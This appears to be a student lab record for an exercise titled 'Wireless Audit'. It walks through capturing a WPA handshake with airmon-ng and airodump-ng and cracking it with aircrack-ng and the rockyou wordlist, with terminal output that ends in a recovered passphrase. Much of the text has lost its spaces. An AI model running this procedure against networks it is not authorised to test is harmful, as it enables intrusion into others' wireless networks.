Exp.No.:9b **Date:**

WIRELESSAUDIT

Aim:

ToperformwirelessauditonAccessPointanddecryptWPAkeysusingaircrackng tool in Kalilinux OS.

Algorithm:

1. Checkthecurrentwirelessinterfacewithiwconfigcommand.
2. Getthechannelnumber,MACaddressandESSIDwithiwlistcommand.
3. Startthewirelessinterfaceinmonitormodeonspecific APchannelwith airmonng.
4. Ifprocessesareinterferingwithairmon-ngthenkillthoseprocess.
5. AgainstartthewirelessinterfaceinmonitormodeonspecificAPchannel withairmon-ng.
6. Startairodump-ngtocaptureInitializationVectors(IVs).
7. CaptureIVsforatleast5to10minutesandthenpressCtrl+Ctostopthe operation.
8. Listthefilestoseethecapturedfiles
9. Runaircrack-ngtocrackkeyusingtheIVscollectedandusingthedictionaryfile rockyou.txt
10. IfthepassphraseisfoundindictionarythenKeyFoundmessagedisplayed;else print Key Not Found.

Output:

root@kali:~#iwconfigeth0
no wireless extensions.

wlan0IEEE802.11bgnESSID:off/any
Mode:ManagedAccessPoint:Not-AssociatedTx-Power=20dBmRetryshort limit:7 RTS thr:off Fragment thr:off Encryption key:off Power Management:off lo no wireless extensions.

root@kali:~#iwlistwlan0scanningwlan0
Scan completed :
Cell01-Address:14:F6:5A:F4:57:22
Channel:6
Frequency:2.437GHz(Channel6)Quality=70/70Signallevel=-27dBm
Encryption key:on ESSID:"BENEDICT"
BitRates:1Mb/s;2Mb/s;5.5Mb/s;11Mb/s
BitRates:6Mb/s;9Mb/s;12Mb/s;18Mb/s;24 Mb/s
36Mb/s;48Mb/s;54Mb/s

Mode:MasterExtra:tsf=00000000425b0a37Extra:Lastbeacon:548msagoIE: WPA Version 1
GroupCipher:TKIP
PairwiseCiphers(2):CCMPTKIPAuthenticationSuites(1):PSK root@kali:~#

airmon-ng start wlan0

Found2processesthatcouldcausetrouble.
Ifairodump-ng,aireplay-ngorairtun-ngstopsworkingafterashortperiodoftime, you may want to kill (some of) them!

PIDName
1148NetworkManager
1324wpa_supplicant

PHYInterface Driver Chipset
phy0wlan0ath9k_htc AtherosCommunications,Inc.AR9271802.11n

Newlycreatedmonitormodeinterfacewlan0monis*NOT*inmonitormode. Removing non-monitor wlan0mon interface...

WARNING:unabletostartmonitormode,pleaserun"airmon-ngcheckkill" root@kali:~#

airmon-ng check kill Killing
theseprocesses:

PIDName
1324wpa_supplicant

root@kali:~# airmon-ng start wlan0

PHY Interface Driver Chipset
phy0wlan0ath9k_htc AtherosCommunications,Inc.AR9271802.11n

(mac80211monitormodevifenabledfor[phy0]wlan0on[phy0]wlan0mon) (mac80211 station mode vif disabled for [phy0]wlan0)

root@kali:~# airodump-ng -w atheros -c 6 --bssid 14:F6:5A:F4:57:22 wlan0mon
CH 6][Elapsed: 5 mins][2016-10-05 01:35][WPAhandshake: 14:F6:5A:F4:57:
BSSID PWR RXQ Beacons #Data,#/sCHMBENCCIPHERAUTHE
14:F6:5A:F4:57:22 -31 100 310410036 0 6 54e. WPACCMPPSK B
BSSID STATIONPWR RateLost FramesProbe14:F6:5A:F4:57:22
70:05:14:A3:7E:3E -32 2e- 0 0 10836

root@kali:~#ls-ltotal
10348
-rw-r--r--1rootroot10580359Oct501:35atheros-01.cap
-rw-r--r--1rootroot 481Oct501:35atheros-01.csv
-rw-r--r--1rootroot 598Oct501:35atheros-01.kismet.csv
-rw-r--r--1rootroot 2796Oct501:35atheros-01.kismet.netxml

root@kali:~#aircrack-ng-a2atheros-01.cap-w/usr/share/wordlists/rockyou.txt
[00:00:52] 84564 keys tested (1648.11 k/s)

KEYFOUND![rec12345]

MasterKey: CA539B5C231670E48453169EFB147749A97AA0
2D9FBB2BC38D26D2 33543D3A43

TransientKey:F5F4BAAF576F87045802ED1862378A53

3886F1A2CA0D4A8DD6EC ED0D6C1DC1AF
815881C25D587FFADE1334D6A2AEFE05F653B8CAA070EC02
1BEA5F7ADA7AEC7D

EAPOLHMAC0A124C3DEDBDEEC02BC95AE3C165A85C

Result: